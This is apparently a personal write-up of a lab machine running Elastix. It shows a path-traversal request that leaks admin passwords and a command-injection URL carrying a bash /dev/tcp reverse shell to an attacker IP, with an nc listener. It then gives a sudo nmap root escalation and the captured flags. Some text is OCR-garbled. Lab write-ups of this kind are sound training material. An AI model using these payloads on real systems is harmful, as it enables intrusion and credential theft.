7/11/2022

Initial Exploit -

OSID: 92460

The webpage on port 80 is running Elastix. Searchsploit has an exploit available. Download the exploit:

searchsploit -m 37637

The exploit does not work in it's current state. Try to manually visit the URL in the code:

view-source:https://10.129.84.243/vtigercrm/graph.php?

current_language=../../../../l../l../l../letc/amportal.conf%00&module=Accounts&action leaks passwords configured on the server:

```
https://10.129.84.243/vtigercrm/graph.php?current_language=../../../../../etc/amportal.conf%00&module=Accounts&
    → 연 습
                      윮 view-source:https://10.129.84.243/vtigercrm/graph.php 🚥 💟 🏠
                                                                                                    111\
🕝 doubteventhis/OSCP 🚶 Proving Grounds 😚 Hack The Box 🔭 NetSecFocus Trophy R... 🕝 PayloadsAllTI
  27 # AMPMGRUSER: Username to access the Asterisk Manager Interface
  28 # AMPMGRPASS: Password for AMPMGRUSER
  29 #
  30 AMPDBHOST=localhost
  31 AMPDBENGINE=mysql
  32 # AMPDBNAME=asterisk
  33 AMPDBUSER=asteriskuser
  34 # AMPDBPASS=amp109
  35 AMPDBPASS=jEhdIekWmdjE
  36 AMPENGINE=asterisk
  37 AMPMGRUSER=admin
  38 #AMPMGRPASS=amp111
  39 AMPMGRPASS=jEhdIekWmdjE
```

Log in to Elastix v2.2.0 using the credentials **admin:jEhdlekWmdjE** at **https://10.129.84.243/**. Searchsploit has an exploit available. Download the exploit:

searchsploit -m 18649

Use the URL in the POC:

```
Proof of Concept:

RCE:
[HOST]/recordings/misc/callme_page.php?action=c&callmenum=[PHONENUMBER]@from
-internal/n%0D%0AApplication:%20system%0D%0Adata:%20[CMD]%0D%0A%0D%0A
```

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Visit the page https://10.129.85.3/index.php?menu=control_panel# to find the extension number 233. Change the [PHONE NUMBER] placeholder to 233. Change the [CMD] placeholder to %2Fbin%2Fbash%20-

I%20%3E%20%2Fdev%2Ftcp%2F10.10.16.16%2F80%200%3C%261%202%3E%261 which is /bin/bash -I > /dev/tcp/10.10.16.16/80 0<&1 2>&1 urlencoded.

urlencode "/bin/bash -l > /dev/tcp/10.10.16.16/80 0<&1 2>&1"

Set up a listener:

sudo nc -lvnp 80

Visit the URL https://10.129.85.3/recordings/misc/callme_page.php?action=c&callmenum=233@from-internal/n%0D%0AApplication:%20system%0D%0AData:%20%2Fbin%2Fbash%20-l%20%3E%20%2Fdev%2Ftcp%2F10.10.16.16%2F80%200%3C%261%202%3E%261%0D%0A%0D%0A to trigger the reverse shell.

The shell returns as asterisk.

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Privilege Escalation -

The user asterisk can run nmap as root without a password:

```
bash-3.2$ sudo -l
Matching Defaults entries for asterisk on this host:
    env_reset, env_keep="CoLORS DISPLAY HOSTNAME HISTSIZE INPUTRC KDEDIR
    LS_COLORS MAIL PSI PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE LC_COLLATE
    LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES LC_MONETARY LC_NAME LC_NUMERIC
    LC_PAPER LC_TELEPHONE LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET
    XAUTHORITY"

User asterisk may run the following commands on this host:
    (root) NOPASSWD: /sbin/shutdown
    (root) NOPASSWD: /usr/bin/nmap
    (root) NOPASSWD: /usr/bin/yum
    (root) NOPASSWD: /bin/chomod
    (root) NOPASSWD: /bin/chomod
    (root) NOPASSWD: /bin/chown
    (root) NOPASSWD: /sbin/service
    (root) NOPASSWD: /sbin/init
    (root) NOPASSWD: /usr/sbin/postmap
    (root) NOPASSWD: /usr/sbin/postmap
    (root) NOPASSWD: /usr/sbin/postfix
    (root) NOPASSWD: /usr/sbin/postfix
    (root) NOPASSWD: /usr/sbin/pasalpasswd2
    (root) NOPASSWD: /usr/sbin/hardware_detector
    (root) NOPASSWD: /usr/sbin/hardware_detector
    (root) NOPASSWD: /usr/sbin/elastix-helper
```

Spawn a root shell:

sudo nmap --interactive

!sh

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Proof -

User:

```
bash-3.2$ cat user.txt
3895596ac3d75259689e32fd9fb8de5a
bash-3.2$ ifconfig
               Link encap:Ethernet HWaddr 00:50:56:B9:F7:3D
inet addr:10.129.85.3 Bcast:10.129.255.255 Mask:255.255.0.0
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
eth0
               RX packets:12201 errors:0 dropped:0 overruns:0 frame:0 TX packets:7311 errors:0 dropped:0 overruns:0 carrier:0
               collisions:0 txqueuelen:1000
               RX bytes:5141301 (4.9 MiB) TX bytes:2920101 (2.7 MiB) Interrupt:59 Base address:0×2024
               Link encap:Local Loopback
               inet addr:127.0.0.1 Mask:255.0.0.0
UP LOOPBACK RUNNING MTU:16436 Metric:1
               RX packets:108420 errors:0 dropped:0 overruns:0 frame:0 TX packets:108420 errors:0 dropped:0 overruns:0 carrier:0
               collisions:0 txqueuelen:0
RX bytes:9997656 (9.5 MiB) TX bytes:9997656 (9.5 MiB)
bash-3.2$ whoami
asterisk
bash-3.2$
[2] 0:sudo- 1:sudo*Z
                                                                                                                                                     "kali" 13:45 11-Jul-22
```

Root:

```
sh-3.2# cat root.txt
10de5bcdbc3f575edd3f5bbc69ec8024
sh-3.2# ifconfig
sh: ifconfig: command not found
sh-3.2# whoami
root
sh-3.2# ip addr
sh: ip: command not found
sh-3.2# ifconfig
sh: ifconfig: command not found
sh-3.2# ifconfig
sh: ifconfig: command not found
sh-3.2# [2] 0:sudo- 1:sudo*Z "kali" 13:47 11-Jul-22
```